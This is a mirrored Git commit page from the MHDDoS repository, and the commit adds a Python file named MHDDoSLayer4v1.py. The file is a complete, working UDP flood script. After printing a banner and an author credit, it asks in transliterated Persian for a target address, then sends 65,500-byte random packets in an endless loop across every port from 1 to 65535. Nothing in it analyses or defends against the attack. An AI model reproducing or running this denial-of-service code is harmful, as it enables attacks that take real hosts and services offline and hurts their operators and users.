mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 11:42:42 +08:00
Create MHDDoSLayer4v1.py
This commit is contained in:
parent
b8b56123bf
commit
e3dab6df35
38
MHDDoSLayer4v1.py
Normal file
38
MHDDoSLayer4v1.py
Normal file
|
@ -0,0 +1,38 @@
|
||||||
|
import socket
|
||||||
|
import random
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
|
def print_slow(txt):
|
||||||
|
for x in txt: # cycle through the text one character at a time
|
||||||
|
print(x, end='', flush=True) # print one character, no new line, flush buffer
|
||||||
|
sleep(0.1)
|
||||||
|
print() # go to new line
|
||||||
|
print('''
|
||||||
|
\033c
|
||||||
|
\033[91m +--------------------------------------------+
|
||||||
|
\033[92m ┏━┓┏━┓ ┏┓ ┏┓ ┏━━━┓ ┏━━━┓ ┏━━━┓
|
||||||
|
\033[92m ┃┃┗┛┃┃ ┃┃ ┃┃ ┗┓┏┓┃ ┃┏━┓┃ ┃┏━┓┃
|
||||||
|
\033[92m ┃┏┓┏┓┃ ┃┗━┛┃ ┃┃┃┃ ┃┃ ┃┃ ┃┗━━┓
|
||||||
|
\033[92m ┃┃┃┃┃┃ ┃┏━┓┃ ┃┃┃┃ ┃┃ ┃┃ ┗━━┓┃
|
||||||
|
\033[92m ┃┃┃┃┃┃ ┃┃ ┃┃ ┏┛┗┛┃ ┃┗━┛┃ ┃┗━┛┃
|
||||||
|
\033[92m ┗┛┗┛┗┛ ┗┛ ┗┛ ┗━━━┛ ┗━━━┛ ┗━━━┛
|
||||||
|
\033[91m +--------------------------------------------+''')
|
||||||
|
print_slow('\033[94m Coded By MH_ProDev')
|
||||||
|
print('''\033[91m +--------------------------------------------+\033[97m''')
|
||||||
|
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
ip = input("\n\033[96m❖ \033[97mAddress Site Ya IP Vared Kunid » \033[0m")
|
||||||
|
bytes = random._urandom(65500)
|
||||||
|
sent = 0
|
||||||
|
port = 1
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
if port == 65535:
|
||||||
|
port = 1
|
||||||
|
sock.sendto(bytes,(ip,port))
|
||||||
|
sent = sent + 1
|
||||||
|
port = port + 1
|
||||||
|
print("\033[97m[\033[92m!\033[97m] \033[97mPacket Sended \033[95m@ \033[97m%s"%sent)
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
exit()
|
Loading…
Reference in New Issue
Block a user